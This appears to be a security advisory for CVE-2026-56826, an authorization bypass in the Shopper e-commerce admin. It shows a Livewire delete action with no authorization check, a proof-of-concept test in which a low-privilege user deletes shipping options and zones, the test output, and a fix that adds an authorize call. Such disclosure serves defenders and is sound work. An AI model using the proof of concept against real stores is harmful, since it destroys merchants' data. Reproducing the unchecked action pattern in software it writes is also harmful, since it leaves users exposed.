CVE-2026-56826

// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
  return Action::make('delete')
    ->requiresConfirmation()
    // ... no ->authorize(), no ->visible()
    ->action(function (array $arguments): void {
      CarrierOption::query()->find($arguments['id'])->delete();  // client-controlled id
      // ...
    });
}

use LivewireLivewire;
use ShopperCoreModels{CarrierOption, Zone};
use ShopperLivewireComponentsSettingsZonesZoneShippingOptions;
use TestsCoreStubsUser;

uses(TestsAdminTestCase::class);

it('low-priv access setting user deletes a CarrierOption with no authorization', function (): void {
  $attacker = User::factory()->create();
  $attacker->givePermissionTo('access setting');     // NOT admin, NO delete * permission
  $this->actingAs($attacker, config('shopper.auth.guard'));

  $zone  = Zone::factory()->create();
  $option = CarrierOption::factory()->create(['zone id' => $zone->id]);

  Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
    ->callAction('delete', arguments: ['id' => $option->id]);

  expect(CarrierOption::query()->find($option->id))->toBeNull();  // deleted -> vulnerable
});

Attacker: isAdmin()=false, can('access setting')=true, can('delete zones')=false, can('edit zones')=false
[BEFORE] CarrierOption count = 1 (target #1 'DHL Express' exists = YES)
[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0 (target #1 exists = NO -> deleted)

PASS 3 passed (11 assertions)
 ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit orders (harness enforces declared authz)
 ✓ a CarrierOption is deleted by the low-priv user
 ✓ a shipping Zone is deleted by the low-priv user

public function deleteAction(): Action
{
  return Action::make('delete')
    ->authorize('access setting')  // or a new granular delete zones / delete taxes permission
    ->requiresConfirmation()
    // ...
}